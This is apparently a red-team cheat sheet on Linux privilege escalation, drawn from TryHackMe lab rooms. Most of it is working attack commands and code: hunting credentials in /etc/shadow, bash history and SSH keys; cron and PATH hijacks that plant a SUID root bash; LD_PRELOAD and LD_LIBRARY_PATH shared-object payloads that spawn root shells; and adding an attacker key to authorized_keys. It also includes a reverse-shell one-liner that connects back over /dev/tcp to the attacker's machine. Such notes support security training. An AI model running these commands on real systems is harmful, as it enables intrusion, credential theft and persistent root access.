# Linux

##

**Gathering Info**

```
whoami
id
groups
cat ~/.bash_history
```

```
uname -a
```

Check for passwords in environment variables

```
env
```

## Find files

Files owned by your user

**Victim**

```
find / -user $USER 2>/dev/null
```

Files owned by group

**Victim**

```
find / -type f -group $GROUP 2>/dev/null
```

**Find passwords**

```
cat /etc/passwd
cat /etc/shadow
cat /var/www/html/wpconfig.php #Wordpress sites
/home/user/myvpn.ovpn #VPN. Look for auth-user-pass and find file it is pointed to.
find / -type f -name *.bak 2>/dev/null 
#Find files and exclude paths to reduce results
find / \( -path /lib -o -path /snap -o -path /etc/sane.d -o -path /etc/fonts -o -path /usr/share -o -path /etc/apache2 \) -prune -o -name "*.conf" -print 2>/dev/null
```

**Victim**

```
cat ~/.bash_history | grep -i passw 

SSH Keys
find / -name id_rsa 2> /dev/null
cat /backups/supersecretkeys/id_rsa
```

## Weak File Permissions

### Readable /etc/shadow

[#weak-file-permissions-readable-etc-shadow](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc#weak-file-permissions-readable-etc-shadow "mention")

### Writable /etc/shadow

[#weak-file-permissions-writable-etc-shadow](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc#weak-file-permissions-writable-etc-shadow "mention")

### Writable /etc/passwd

[#weak-file-permissions-writable-etc-passwd](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc#weak-file-permissions-writable-etc-passwd "mention")

## Cron Jobs

| Finding & Comments                                                 | Example                                                                                                                                           |
| ------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------- |
| Have permission to overwrite the contents of the file              | [linux-privilege-escalation](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privilege-escalation "mention") |
| Change path to a different file since it's not using absolute path | [linux-privilege-escalation](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privilege-escalation "mention") |
|                                                                    |                                                                                                                                                   |

**Victim**

```
cat /etc/crontab
```

Possible other places crons are running

**Victim**

```
cat /etc/cron.d/*
```

### Cron Jobs - File Permissions

**Examples**

[#cron-jobs-file-permissions](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc#cron-jobs-file-permissions "mention")

Cron jobs are programs or scripts which users can schedule to run at specific times or intervals. Cron table files (crontabs) store the configuration for cron jobs. The system-wide crontab is located at /etc/crontab.

View the contents of the system-wide crontab.

**Victim**

```
cat /etc/crontab
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FtaNaMopHeaNEAyseNiCY%2Fimage.png?alt=media&#x26;token=98d0e242-983b-4208-9fac-282d583c9b19" alt=""><figcaption></figcaption></figure>

There should be two cron jobs scheduled to run every minute. One runs overwrite.sh, the other runs /usr/local/bin/compress.sh.

Locate the full path of the overwrite.sh file.

**Victim**

```
locate overwrite.sh
```

Note that the file is world-writable.

**Victim**

```
ls -l /usr/local/bin/overwrite.sh
```

### Cron Jobs - PATH Environment Variable

**Examples**

[#cron-jobs-path-environment-variable](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc#cron-jobs-path-environment-variable "mention")

View the contents of the system-wide crontab

**Victim**

```
cat /etc/crontab
```

Note that the PATH variable starts with /home/user which is our user's home directory. Create a file called overwrite.sh in your home directory with the following contents

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FGN3LpU7oVh2AD91TSVuY%2Fimage.png?alt=media&#x26;token=69f24d0b-b2de-4c32-aacd-7ecac5c7a54a" alt=""><figcaption></figcaption></figure>

#### overwrite.sh

```
#!/bin/bash

cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash
```

Make sure that the file is executable

**Victim**

```
chmod +x /home/user/overwrite.sh
```

Wait for the cron job to run (should not take longer than a minute). Run the /tmp/rootbash command with -p to gain a shell running with root privileges:

**Victim**

```
/tmp/rootbash -p
```

### Cron Jobs - Wildcards

**Examples**

[#cron-jobs-wildcards](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc#cron-jobs-wildcards "mention")

View the contents of the other cron job script

**Victim**

```
cat /usr/local/bin/compress.sh
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FHV0wSN6lCXd1FXff3V97%2Fimage.png?alt=media&#x26;token=670ea72d-d11e-4bbb-843d-18b70774cd17" alt=""><figcaption></figcaption></figure>

Note that the tar command is being run with a wildcard (\*) in your home directory.

## Sudo/SUID/Capabilities <a href="#user-content-sudosuidcapabilities" id="user-content-sudosuidcapabilities"></a>

Run all of these commands then check <https://gtfobins.github.io/> . They may give different results

Check what can be run with NOPASSWD

**Victim**

```
sudo -l
```

| Finding                     | Comments             | Examples                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| --------------------------- | -------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| yum                         | Privilege Escalation | [daily-bugle](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/daily-bugle "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| anansi\_util                | Privilege Escalation | [brainpan-1](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/brainpan-1 "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| vi                          |                      | [#escaping-vi-editor](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/common-linux-privesc#escaping-vi-editor "mention") [#privilege-escalation](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/year-of-the-rabbit#privilege-escalation "mention")[#privilege-escalation](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/chocolate-factory#privilege-escalation "mention")                                                                                                                                                                                                           |
| BASH scripts                |                      | [chill-hack](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/chill-hack "mention")[#privilege-escalation](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/wekor#privilege-escalation "mention")                                                                                                                                                                                                                                                                                                                                                                                                                       |
| chmod                       |                      | [#privilege-escalation-option-3-chmod](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/colddbox-easy#privilege-escalation-option-3-chmod "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| apache2                     |                      | [#apache2](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc#apache2 "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| nmap                        |                      | [#nmap](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc#nmap "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| ftp                         |                      | [#ftp](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc#ftp "mention")[#privilege-escalation-option-2-ftp](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/colddbox-easy#privilege-escalation-option-2-ftp "mention")                                                                                                                                                                                                                                                                                                                                                                                    |
| more                        |                      | [#more](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc#more "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| less                        |                      | [#less](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc#less "mention")[#privlege-escalation](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/brooklyn-nine-nine#privlege-escalation "mention")                                                                                                                                                                                                                                                                                                                                                                                                         |
| awk                         |                      | [#awk](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc#awk "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| man                         |                      | [#man](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc#man "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| vim                         |                      | [#vim](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc#vim "mention")[#privilege-escalation](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/napping#privilege-escalation "mention")[linux-privesc-arena](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc-arena "mention")[#privilege-escalation-option-1-vim](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/colddbox-easy#privilege-escalation-option-1-vim "mention")                                                                                                   |
| find                        |                      | <p><a data-mention href="../../../../walkthroughs/tryhackme/linux-privesc#find">#find</a><a data-mention href="../../../walkthroughs/tryhackme/linux-privesc-arena">linux-privesc-arena</a><a data-mention href="../../../../walkthroughs/tryhackme/boiler-ctf#privilege-escalation">#privilege-escalation</a></p><p><a data-mention href="../../../walkthroughs/tryhackme/linux-privilege-escalation">linux-privilege-escalation</a></p>                                                                                                                                                                                                                                           |
| iftop                       |                      | [#iftop](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc#iftop "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| sudo                        |                      | [#privilege-escalation](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/agent-sudo#privilege-escalation "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| cat                         |                      | [brute-it](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/brute-it "mention")[dav](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/dav "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| pkexec                      |                      | [lian\_yu](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/lian_yu "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| nano                        |                      | [#privilege-escalation](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/gallery#privilege-escalation "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| certutil                    | Read files           | [#tcp-22-ssh](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/b3dr0ck#tcp-22-ssh "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| <p>base64 </p><p>base32</p> | Read files           | [b3dr0ck](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/b3dr0ck "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| env                         |                      | [#privilege-escalation](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/dogcat#privilege-escalation "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| pico                        |                      | [#lateral-movement](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/madeyes-castle#lateral-movement "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| flask                       |                      | [#privilege-escalation](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/haskhell#privilege-escalation "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
| python3                     |                      | [#lateral-movement-will](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/watcher#lateral-movement-will "mention")[wonderland](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/wonderland "mention")[#tcp-22-ssh](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/tokyo-ghoul#tcp-22-ssh "mention")[#tcp-7321-script](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/peak-hill#tcp-7321-script "mention")[#privilege-escalation](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/battery#privilege-escalation "mention") |
| tar                         |                      | [#lateral-movement](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/the-marketplace#lateral-movement "mention")[#privilege-escalation](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/vulnnet#privilege-escalation "mention")                                                                                                                                                                                                                                                                                                                                                                                        |
| reboot                      |                      | [#initial-access](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/looking-glass#initial-access "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| bash                        |                      | [#privilege-escalation](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/looking-glass#privilege-escalation "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| ALL                         |                      | [#lateral-movement](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/biteme#lateral-movement "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| fail2ban                    |                      | [#privilege-escalation](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/biteme#privilege-escalation "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| exiftool                    |                      | [#privilege-escalation](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/cmspit#privilege-escalation "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| awk                         |                      | [linux-privesc-arena](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc-arena "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| apache2                     |                      | [linux-privesc-arena](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc-arena "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| zip                         |                      | [#tcp-22-ssh-1](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/tomghost#tcp-22-ssh-1 "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
| tee                         |                      | [#privilege-escalation](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/inferno#privilege-escalation "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| ko file                     |                      | [#privilege-escalation](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/athena#privilege-escalation "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |

### SUID / SGID Executables - Known Exploits

Find all the SUID/SGID executables.

**Victim**

```
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
```

| Finding | Comments                                    | Examples                                                                                                                                                                             |
| ------- | ------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| exim    | version 4.84-3                              | [#suid-sgid-executables-known-exploits](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc#suid-sgid-executables-known-exploits "mention") |
| base64  | Read files we shouldn't have access to read | [linux-privilege-escalation](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privilege-escalation "mention")                                    |
| find    | Privilege Escalation                        | [#privilege-escalation](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/expose#privilege-escalation "mention")                                        |
| python3 |                                             | [#privilege-escalation](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/annie#privilege-escalation "mention")                                         |

### SUID / SGID Executables - Shared Object Injection

[#suid-sgid-executables-shared-object-injection](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc#suid-sgid-executables-shared-object-injection "mention")

### SUID / SGID Executables - Environment Variables

[#suid-sgid-executables-environment-variables](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc#suid-sgid-executables-environment-variables "mention")

### SUID / SGID Executables - Abusing Shell Features

[#suid-sgid-executables-abusing-shell-features-1](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc#suid-sgid-executables-abusing-shell-features-1 "mention")

[#suid-sgid-executables-abusing-shell-features-2](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc#suid-sgid-executables-abusing-shell-features-2 "mention")

## Sudo - Environment Variables

### LD\_LIBRARY\_PATH

**Examples**

[#sudo-environment-variables](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc#sudo-environment-variables "mention")

#### preload.c - code

```
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
	unsetenv("LD_LIBRARY_PATH");
	setresuid(0,0,0);
	system("/bin/bash -p");
}
```

#### library\_path.c

```
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
	unsetenv("LD_LIBRARY_PATH");
	setresuid(0,0,0);
	system("/bin/bash -p");
}
```

Sudo can be configured to inherit certain environment variables from the user's environment. Check which environment variables are inherited (look for the env\_keep options):

**Victim**

```
sudo -l
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FqdO8RcOmD74VXoCBskIC%2Fimage.png?alt=media&#x26;token=a4442d58-9909-43c6-8947-c41c6a472ef9" alt=""><figcaption></figcaption></figure>

**LD\_PRELOAD** and **LD\_LIBRARY\_PATH** are both inherited from the user's environment. LD\_PRELOAD loads a shared object before any others when a program is run. LD\_LIBRARY\_PATH provides a list of directories where shared libraries are searched for first.

Create a shared object using the code located at /home/user/tools/sudo/preload.c.

**Victim**

```
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
```

**LD\_PRELOAD** and **LD\_LIBRARY\_PATH** are both inherited from the user's environment. LD\_PRELOAD loads a shared object before any others when a program is run. LD\_LIBRARY\_PATH provides a list of directories where shared libraries are searched for first.

Create a shared object using the code located at /home/user/tools/sudo/preload.c

**Victim**

```
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/ftp
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F4f6jpJ2y83UJDUByE2fq%2Fimage.png?alt=media&#x26;token=fb28db47-473f-4e02-9a80-a805d111429a" alt=""><figcaption></figcaption></figure>

A root shell should spawn. Exit out of the shell before continuing. Depending on the program you chose, you may need to exit out of this as well.

Run ldd against the apache2 program file to see which shared libraries are used by the program.

**Victim**

```
ldd /usr/sbin/apache2
```

Create a shared object with the same name as one of the listed libraries (libcrypt.so.1) using the code located at /home/user/tools/sudo/library\_path.c.

**Victim**

```
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FnbWUuBD2LaQta0wAyHxC%2Fimage.png?alt=media&#x26;token=4d038912-1240-4f8a-9273-89ae18bdf224" alt=""><figcaption></figcaption></figure>

Create a shared object with the same name as one of the listed libraries (libcrypt.so.1) using the code located at /home/user/tools/sudo/library\_path.c.

**Victim**

<pre><code><strong>sudo LD_LIBRARY_PATH=/tmp apache2
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F2EEGHELaeaY268UsIk8e%2Fimage.png?alt=media&#x26;token=97f65b08-f7a6-4a02-8390-aa82406250f1" alt=""><figcaption></figcaption></figure>

### **LD\_PRELOAD**

**Examples**

[road](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/road "mention")

If LD\_PRELOAD is set try below then running the script we can run with NOPASSWD

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FAvj1d2LzrDmnWi9kNOdl%2Fimage.png?alt=media&#x26;token=e95e9d8a-d173-45a2-a59b-238a8e0ce3e8" alt=""><figcaption></figcaption></figure>

**Victim**

```
vi preload.c
```

**preload.c - code**

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
 unsetenv("LD_PRELOAD");
 setgid(0);
 setuid(0);
 system("/bin/bash");
}
```

**Victim**

```
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /tmp/preload.c
sudo LD_PRELOAD=/tmp/preload.so $NOPASSWD_SCRIPT_WE_CAN_ABUSE
```

## **Files with SUID-bit set**

**Victim**

```
find / -perm -u=s -type f 2> /dev/null 
```

| Finding                       | Comments                                                                                                            | Examples                                                                                                                                                                                                                                                                               |
| ----------------------------- | ------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| setcap                        | If setcap is set that is very interesting checkout room. Could lead to priv esc. by setting getcap on other things. | [annie](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/annie "mention")                                                                                                                                                                                |
| Programs in strange locations | If there is a program running in a user home directory or somewhere strange, it may be worth investigating          | <p><a data-mention href="../../../walkthroughs/tryhackme/common-linux-privesc">common-linux-privesc</a><a data-mention href="../../../walkthroughs/tryhackme/madeyes-castle">madeyes-castle</a> <br><a data-mention href="../../../walkthroughs/tryhackme/containme">containme</a></p> |
| find                          | Can spawn shell                                                                                                     | [boiler-ctf](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/boiler-ctf "mention")                                                                                                                                                                      |
| doas                          | Can read files or copy files                                                                                        | [glitch](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/glitch "mention")                                                                                                                                                                              |
| strings                       | Can read files                                                                                                      | [jack-of-all-trades](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/jack-of-all-trades "mention")                                                                                                                                                      |
| cputils                       | Can copy files                                                                                                      | [olympus](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/olympus "mention")                                                                                                                                                                            |
| tar                           | Can spawn shell                                                                                                     | [skynet](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/skynet "mention")                                                                                                                                                                              |
| grep                          | Read files                                                                                                          | [#unit-4-suid](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-local-enumeration#unit-4-suid "mention")                                                                                                                                           |

## Getcap

**Victim**

```
getcap -r / 2>/dev/null
```

| Finding | Comments                                                                                                                                                                                                             | Examples                                                                                                                                                                                                                                                       |
| ------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| python  | If the binary has the Linux `CAP_SETUID` capability set or it is executed by another binary with the capability set, it can be used as a backdoor to maintain privileged access by manipulating its own process UID. | [oh-my-webserver](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/oh-my-webserver "mention")[linux-privesc-arena](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc-arena "mention") |
| vim     | Can spawn shell                                                                                                                                                                                                      | [linux-privilege-escalation](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privilege-escalation "mention")                                                                                                              |
| perl    | Can spawn shell                                                                                                                                                                                                      | [wonderland](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/wonderland "mention")                                                                                                                                              |
| openssl | Can spawn shell                                                                                                                                                                                                      | [mindgames](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/mindgames "mention")                                                                                                                                                |
| vim     |                                                                                                                                                                                                                      | [linux-privilege-escalation](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privilege-escalation "mention")                                                                                                              |
| ruby    |                                                                                                                                                                                                                      | [#initial-shell](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/empline#initial-shell "mention")                                                                                                                               |

## **Service Exploits**

| Finding | Comments | Examples                                                                                                                                     |
| ------- | -------- | -------------------------------------------------------------------------------------------------------------------------------------------- |
| mysql   |          | [#service-exploits](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc#service-exploits "mention") |
|         |          |                                                                                                                                              |
|         |          |                                                                                                                                              |

## PATH Variables

**Examples**

[hacker-vs.-hacker](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/hacker-vs.-hacker "mention")[#exploiting-crontab](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/common-linux-privesc#exploiting-crontab "mention")

Look at the paths, below is an example of a cronjob. it first looks at /home/lachlan/bin before /bin and /usr/bin. therefore we can change pkill because it doesn't use the exact path in the cronjob. This means we can put a new file called /home/lachlan/bin/pkill with whatever we want and it will run as root.

**Victim**

```
cat /etc/crontab
```

Possible other places crons are running

**Victim**

```
cat /etc/cron.d/*
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F2FefEkR2gqSDw7yUxhn2%2Fimage.png?alt=media&#x26;token=0aa7930c-ddae-42fc-a873-33178b7fcab6" alt=""><figcaption></figcaption></figure>

**Victim(lachlan)**

```
echo "bash -c 'bash -i >& /dev/tcp/$KALI/1338 0>&1'" > /home/lachlan/bin/pkill ; chmod  +x bin/pkill
```

### **Add path**

**Example**

[#exploiting-path-variable](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/common-linux-privesc#exploiting-path-variable "mention")

If a cron job is not specfiying the full path we may be able to change it to go towards another file.

Before we change the path we can see ls goes to /bin/ls

![](https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F6ziKINzlfR0PuCmZwwc9%2Fimage.png?alt=media\&token=65e3cad3-9867-4241-b8b6-80242b0a8580)

Now after running the below command ls is now directed to our script.

**Victim**

```
export PATH=/tmp:$PATH
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FOVYB2HFwYJBpFwDOIMNb%2Fimage.png?alt=media&#x26;token=d9e9bd8f-50ae-441f-b45a-e1deff277529" alt=""><figcaption></figcaption></figure>

## Passwords & Keys&#x20;

### History Files

**Examples**

[#passwords-and-keys-history-files](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc#passwords-and-keys-history-files "mention")

**Victim**

```
cat ~/.*history | less
```

### Config Files

**Examples**

[#passwords-and-keys-config-files](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc#passwords-and-keys-config-files "mention")

**Victim**

```
cat /home/user/myvpn.ovpn
```

### SSH Keys

### Copy keys from Victim

**Examples**

[#passwords-and-keys-ssh-keys](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc#passwords-and-keys-ssh-keys "mention")

Look for hidden files & directories in the system root.

**Victim**

```
cat /home/$USER/.ssh/$KEY
```

Copy the key over to your Kali box (it's easier to just view the contents of the $KEY file and copy/paste the key) and give it the correct permissions, otherwise your SSH client will refuse to use it.

**Kali**

<pre><code><strong>chmod 600 $KEY
</strong><strong>ssh -i $KEY -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa $USER@$VICTIM
</strong></code></pre>

### **Add Keys to Victim**

**Examples**

[madeyes-castle](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/madeyes-castle "mention")

**Kali**

```
ssh-keygen -t rsa
cat ~/.ssh/id_rsa.pub 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FtHWgG131ect3W733Kw8q%2Fimage.png?alt=media&#x26;token=541d01bb-03cf-467a-a711-c020cd819365" alt=""><figcaption></figcaption></figure>

**Victim**

```
echo "$YOURKEY" >> /home/$USER/.ssh/authorized_keys
```

**Kali**

```
ssh $USER@$VICTIM
```

## NFS

**Examples**

[#nfs](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc#nfs "mention")[linux-privilege-escalation](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privilege-escalation "mention")[linux-privesc-arena](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc-arena "mention")

### Option #1

Files created via NFS inherit the remote user's ID. If the user is root, and root squashing is enabled, the ID will instead be set to the "nobody" user.

Check the NFS share configuration on the Debian VM.

**Victim**

<pre><code><strong>cat /etc/exports
</strong></code></pre>

no\_root\_squash is present

